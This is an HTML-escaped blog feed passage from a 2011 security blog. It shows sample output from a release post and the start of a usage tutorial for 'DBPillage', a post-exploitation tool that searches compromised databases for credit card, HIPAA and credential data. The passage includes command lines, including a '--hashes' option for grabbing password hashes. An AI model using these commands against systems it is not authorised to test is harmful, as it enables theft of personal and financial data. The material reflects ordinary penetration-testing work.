#990000;"&gt;y&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Select a database to pillage:&lt;br /&gt;&lt;br /&gt;1: information_schema&lt;br /&gt;2: PCItest&lt;br /&gt;3: msf3&lt;br /&gt;4: mysql&lt;br /&gt;&lt;br /&gt;Choose the database you want by typing the number next to your DB choice&lt;br /&gt;Or rip through every database by typing "cowboy" to rape everything:&lt;b&gt;&lt;span style="color: #cc0000;"&gt; cowboy&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Parsing the the tables out of information_schema database &lt;br /&gt;&lt;br /&gt;Searching for hipaa data in----Database:msf3| Table:campaigns &lt;br /&gt;Found hipaa data: &lt;span style="color: #cc0000;"&gt;SSNDashed: Removed Sensitive data&lt;/span&gt;&lt;br /&gt;Searching for hipaa data in----Database:msf3| Table:clients &lt;br /&gt;Searching for hipaa data in----Database:msf3| Table:imported_creds &lt;br /&gt;Searching for hipaa data in----Database:msf3| Table:loots &lt;br /&gt;Searching for hipaa data in----Database:msf3| Table:notes&lt;br /&gt;Found hipaa data: &lt;span style="color: #990000;"&gt;Possible SSN: Removed Sensitive data&lt;/span&gt;&lt;br /&gt;&amp;nbsp;Searching for hipaa data in----Database:msf3| Table:project_members&lt;br /&gt;&amp;nbsp;Searching for hipaa data in----Database:msf3| Table:refs&lt;br /&gt;&amp;nbsp;Searching for hipaa data in----Database:mysql| Table:time_zone_transition&lt;br /&gt;&amp;nbsp;Searching for hipaa data in----Database:mysql| Table:time_zone_transition_type&lt;br /&gt;&amp;nbsp;Searching for hipaa data in----Database:mysql| Table:user&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Here is some possible HIPAA data for review&lt;br /&gt;&lt;span style="color: #cc0000;"&gt;['Removed Sensitive Data']&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Review the following Database:Tables pairs for HIPAA sensitive data&lt;br /&gt;&lt;span style="color: #cc0000;"&gt;[['msf3', 'campaigns'], ['msf3', 'notes']]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;None&lt;br /&gt;Try Again? y/n:&lt;b&gt;&lt;span style="color: #990000;"&gt;n&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Hope this makes the tool more useful, there are many more features being added but I wanted to at least release the tool to everyone with the HIPAA portion implemented before I get into a bunch of other database related stuff....&amp;nbsp; If anyone has any suggestion of stuff they run into on penetration tests regarding database pillaging and enumeration please send over some ideas :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note, there are many HIPAA related regular expressions which might cause a number of false positives, if you are having this problem feel free to just go into the attackpci.py file and remove all but the SSN related info if that's all your actually wanting to search for.&amp;nbsp; Also if you have suggestions of other stuff to search for or want to donate some reg-ex... YAY&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5948768001255972621-4721771770028408274?l=console-cowboys.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://console-cowboys.blogspot.com/feeds/4721771770028408274/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://console-cowboys.blogspot.com/2011/04/dbpillage-release-03.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4721771770028408274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5948768001255972621/posts/default/4721771770028408274'/><link rel='alternate' type='text/html' href='http://console-cowboys.blogspot.com/2011/04/dbpillage-release-03.html' title='DbPillage Release 0.3'/><author><name>Ficti0n</name><uri>http://www.blogger.com/profile/01503121397289908637</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5948768001255972621.post-1314401947202825540</id><published>2011-03-28T00:39:00.000-07:00</published><updated>2011-09-27T15:45:29.374-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pillaging'/><category scheme='http://www.blogger.com/atom/ns#' term='hipaa'/><category scheme='http://www.blogger.com/atom/ns#' term='post exploitation'/><category scheme='http://www.blogger.com/atom/ns#' term='pci'/><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='penetration testing'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='mssql'/><category scheme='http://www.blogger.com/atom/ns#' term='database'/><category scheme='http://www.blogger.com/atom/ns#' term='postgresql'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>The Database Pillager (tool release)</title><content type='html'>&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }a:link {  }&lt;/style&gt;  &lt;br /&gt;&lt;div align="CENTER" style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;The Database Pillager&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;(Usage Tutorial, Tool Release 0.1)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div align="LEFT" style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: #cc0000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;I coded up a Database Pillaging tool for multiple database types which can be downloaded below &lt;span style="font-weight: normal;"&gt;I would host this tool on some kind of code hosting site but they all seem to be a pain in my ass so it will stay in zip format until I find one that isn't a pain to use or doesn't just display all of my personal data.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; font-weight: normal; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;span style="color: #cc0000;"&gt;UPDATED DOWNLOAD LINK v0.6:&lt;/span&gt;&lt;/b&gt;&amp;nbsp;&lt;b&gt;&lt;span style="color: #990000;"&gt; Also updated post for new syntax added new features since htis post but updated the syntax on this post )&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://consolecowboys.org/pillager/pillage_0.6.zip"&gt;&lt;b&gt;http://consolecowboys.org/pillager/pillage_0.6.zip&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Why?&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;Since I have yet to find a post exploitation database tool that works well for me, I coded my own.  This project was created to solve a reoccurring problem I have had searching and retrieving PCI/HIPPA data after I have compromised the domain or obtained local database credentials and I still need to prove that I have access to sensitive data.&amp;nbsp; I have found this tool useful for many reasons including finding session tokens, passwords and creditcards in databases.  The Database Pillager (DBPillage) was created to fulfill the following goals and is still in active development by myself and other contributors.&amp;nbsp; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Goals:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Automatically search Specified Tables and Database for PCI/HIPPA &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Validate found credit cards with Mod10 checks&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Browse and view data from specified Columns&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Rip through whole database for Compliance data&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Support multiple database types (Oracle, MSSQL, MYSQL, PostGreSQL)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Future Plans:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Search based on database keywords&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-Add reporting in multiple formats  (Web / PDF / XML) &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;-LDAP/AD domain integration for MSSQL&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;-Possible integration with OpenDLP &lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Tested Platform:&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;BT4R2 with cxoracle and postgres python packages installed.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;cx_oracle (cx-oracle.sourceforge.net)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;psycopg2  (initd.org/psycopg/download/)&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Overview:&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;Below is a quick walkthrough on how I have used this tool effectively. I have included an oracle example and a mysql example, I would show MSSQL but I don't have one handy at the moment, dbpillage has been extensively tested on Oracle and Mysql, but should also be working just fine on MSSQL and PostgresSQL I just haven’t had as much access to MSSQL /PostGreSQL databases for testing. I am currently working on pillaging using domain credentials. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Oracle Run through on a few features:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;b&gt;OracleTip: &lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; font-weight: normal; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;When using oracle try different usernames/SID combinations as some users don’t have access to some data.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;div style="line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;&lt;span style="color: #3d85c6;"&gt;Command Format for Oracle:&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;python dbPillage -a&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt; Ipaddress&lt;sid&gt; -d databaseType&amp;nbsp;&lt;dbtype&gt; -u Username &lt;username&gt; -p Password &lt;password&gt; --limit&lt;br /&gt;&lt;/password&gt;&lt;/username&gt;&lt;/dbtype&gt;&lt;/sid&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }&lt;/style&gt;  &lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;All options can be viewed by typing “python dbpillage” and last option "limit" is a patch  my coworker Tim submitted for me, if you put a number at the end of the cmdline it will pull only that many tables, speeds up searches and is nice if you are using the tool to browse data rather than search data. I do need to however modify that to ignore NullValue tables. It’s on my ToDo list. &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;Note: If &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt;you just type&lt;/i&gt;&lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;i&gt;&lt;b&gt; python dbpillage.py&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;i&gt; you will also get the below help information!!!!&lt;/i&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-small;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The Database Pillager (DBPillage)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Authors: Ficti0n,&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; [---]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Contributors: Steponequit&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; [---]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Version: 0.3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Find Me On Twitter: ficti0n&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; [---]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; About:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The Database Pillager is a multiplatform database tool for searching and browsing common database types encountered while penetration testing. DBPillage can be used to search for PCI/HIPAA data automatically or use DBPillage to browse and display data. DBpillage was designed as a post exploitation pillaging tool with a goal of targeted extraction of data without the use of database platform specific GUI based tools that are difficult to use and make my job harder.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Supported Platforms:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -Oracle&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -MSSQL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -MYSQL&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -PostGreSQL&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Usage Examples:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ************************************************************************&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For Mysql Postgres and MsSQL pillaging:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; python dbPillage -a&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; ipaddress -d  databaseType -u  Username -p Password&lt;/span&gt;&lt;br /&gt;&lt;address&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;dbtype&gt;&lt;username&gt;&lt;password&gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; For Oracle pillaging you need a SID connection string:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ------------------------------------------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; python dbPillage -a&lt;/password&gt;&lt;/username&gt;&lt;/dbtype&gt; address/SID&lt;sid&gt; -d databaseType &lt;dbtype&gt; -u username &lt;username&gt; -p Password &lt;password&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Grab some hashes:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -----------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; python dbPillage -a&lt;/password&gt;&lt;/username&gt;&lt;/dbtype&gt;&lt;/sid&gt; address -d databaseType&amp;nbsp;&lt;dbtype&gt; -u username&amp;nbsp;&lt;username&gt; -p Password &lt;password&gt; --hashes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ************************************************************************&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Switch Options:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -# --hashes = grab database password hashes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -l --limit&amp;nbsp; = limit the amount of rows that are searched or when displaying data (options = any number)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -s --searchType = Type of data search you want to perform (options:pci, hipaa, all)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -u --user = Database servers username&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -p --pass = Password for the database server&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -a --address = Ipaddress of the database server&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -d --database = The database type you are pillageing (options: mssql,mysql,oracle,postres)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Prerequisites:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------------&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; python v2&amp;nbsp; (Tested on Python 2.5.2 BT4 R2)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; cx_oracle (cx-oracle.sourceforge.net)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; psycopg2&amp;nbsp; (initd.org/psycopg/download/)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MySQLdb&amp;nbsp;&amp;nbsp; (should be on BT by default)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pymssql&amp;nbsp;&amp;nbsp; (should be on BT by default)&lt;/password&gt;&lt;/username&gt;&lt;/dbtype&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/address&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: 